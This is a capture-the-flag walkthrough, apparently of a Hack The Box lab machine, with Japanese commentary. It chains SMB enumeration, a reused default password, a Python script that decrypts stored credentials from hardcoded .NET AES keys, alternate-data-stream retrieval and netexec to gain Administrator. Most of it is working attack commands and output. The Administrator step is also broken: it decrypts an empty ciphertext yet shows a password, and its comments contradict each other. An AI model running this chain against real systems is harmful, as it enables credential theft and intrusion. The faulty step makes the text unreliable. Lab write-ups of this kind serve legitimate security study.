nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.133

PORT     STATE SERVICE
445/tcp  open  microsoft-ds
4386/tcp open  unknown  (HQK Reporting Service、独自プロトコル)

smbclient -L //10.129.86.133 -N
smbmap -H 10.129.86.133

Sharename       Type      Comment
---------       ----      -------
Data            Disk
Secure$         Disk
Users           Disk
IPC$            IPC

smbclient //10.129.86.133/Data -N \
  -c 'get "Shared\Templates\HR\Welcome Email.txt" welcome.txt'
cat welcome.txt

We would like to extend a warm welcome to our newest member of staff,
<FIRSTNAME> <SURNAME>

You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please
inform the IT department and use the credentials below until all systems
have been set up for you.

Username: TempUser
Password: welcome2019

Thank you
HR

smbclient //10.129.86.133/Data -U TempUser%welcome2019 \
  -c 'get "IT\Configs\RU Scanner\RU_config.xml" RU_config.xml'
cat RU_config.xml

<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

RU Scanner(LDAP接続用ツール)の.NETアセンブリを逆コンパイル(dnSpy等)して
調査すると、設定ファイルのパスワードを復号する処理が実装されている:

  Utils.DecryptString(cipherText, passphrase, salt, iterations, iv)

このアプリケーションでは以下の固定パラメータがソースコードにハードコード
されていることが判明する:

  passphrase = "N3st22"
  salt       = "88552299"
  iterations = 2
  IV         = "464R5DFA5DL6LE28"
  鍵長       = 256bit (AES-256-CBC)
  鍵導出     = PBKDF2-HMAC-SHA1 (RFC2898DeriveBytes、.NET標準)

import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes

def net_decrypt(ciphertext_b64: str, passphrase: str, salt: str,
                 iterations: int, iv: str) -> str:
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA1(),      # .NET の RFC2898DeriveBytes 既定は SHA1
        length=32,                    # 256bit鍵
        salt=salt.encode(),
        iterations=iterations,
    )
    key = kdf.derive(passphrase.encode())

    ct = base64.b64decode(ciphertext_b64)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv.encode()))
    decryptor = cipher.decryptor()
    pt = decryptor.update(ct) + decryptor.finalize()

    # PKCS7パディング除去
    pad_len = pt[-1]
    return pt[:-pad_len].decode()

result = net_decrypt(
    "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=",
    passphrase="N3st22", salt="88552299",
    iterations=2, iv="464R5DFA5DL6LE28",
)
print(result)

xRxRxPANCAK3SxRxRx

smbclient //10.129.86.133/Users -U c.smith%xRxRxPANCAK3SxRxRx \
  -c 'get "C.Smith\user.txt" user.txt'
cat user.txt

6d61da5ce7beb3a8c85c925ca6c23f98

smbclient //10.129.86.133/Users -U c.smith%xRxRxPANCAK3SxRxRx \
  -c 'recurse ON; ls "C.Smith\HQK Reporting\*"'

Debug Mode Password.txt   (サイズ 0バイト!)

# smbclientでは "ファイル名:ストリーム名" の形式でADSを直接指定して取得できる
smbclient //10.129.86.133/Users -U c.smith%xRxRxPANCAK3SxRxRx \
  -c 'get "C.Smith\HQK Reporting\Debug Mode Password.txt:Password" debug_pw.txt'
cat debug_pw.txt

WBQ201953D8w

nc 10.129.86.133 4386

接続すると独自のテキストベースプロトコルで応答するサービスに繋がる。
利用可能なコマンドは以下の3つ(SHOWQUERYのような想像しやすい名前の
コマンドは**存在しない**点に注意):

  LIST              現在のディレクトリのファイル/フォルダ一覧
  SETDIR <相対パス>  カレントディレクトリ移動(相対パスのみ、絶対パス不可)
  RUNQUERY <ID>     指定IDの設定を「データベース接続」として解釈・実行

まず入手したデバッグパスワードで認証する:
  DEBUG WBQ201953D8w

DEBUG WBQ201953D8w
LIST
SETDIR ..
SETDIR ..
LIST
SETDIR HQK
LIST
SETDIR LDAP
LIST

[ID 1] HqkLdap.exe
[ID 2] Ldap.conf

RUNQUERY 2

Invalid database configuration

先ほどSMB越しに閲覧したHQK\LDAPフォルダから HqkLdap.exe を取得し、
dnSpyやILSpy等の.NETデコンパイラで解析する。Phase3と同様に
Utils.DecryptString()的な復号関数が呼ばれており、Administrator用の
暗号文に対する固定パラメータが以下の通り判明する:

  passphrase = "667912"
  salt       = "1313Rf99"
  iterations = 3
  IV         = "1L1SA61493DRV53Z"

# Ldap.conf の暗号文自体は RUNQUERY 経由では取得できないため、
# SMB経由でLdap.confファイル自体をダウンロードして中の暗号文を読み出す
# (HQK\LDAP フォルダはc.smith権限ではアクセス制限があるため、実際には
#  HqkLdap.exeと一緒に配布されているサンプル設定や、サービス固有の
#  読み取り手段で入手する)

admin_pass = net_decrypt(
    "",
    passphrase="667912", salt="1313Rf99",
    iterations=3, iv="1L1SA61493DRV53Z",
)
print(admin_pass)

XtH4nkS4Pl4y1nGX

# このマシンはドメイン参加していないワークグループ機のため、
# netexec/psexec等では必ず --local-auth を指定する
# (付けないとドメインアカウントとして認証を試み失敗する)
netexec smb 10.129.86.133 -u Administrator -p XtH4nkS4Pl4y1nGX --local-auth \
  -x 'type C:\Users\Administrator\Desktop\root.txt'

7d9989c9d1003c1a7aacd2f6ad2f5eec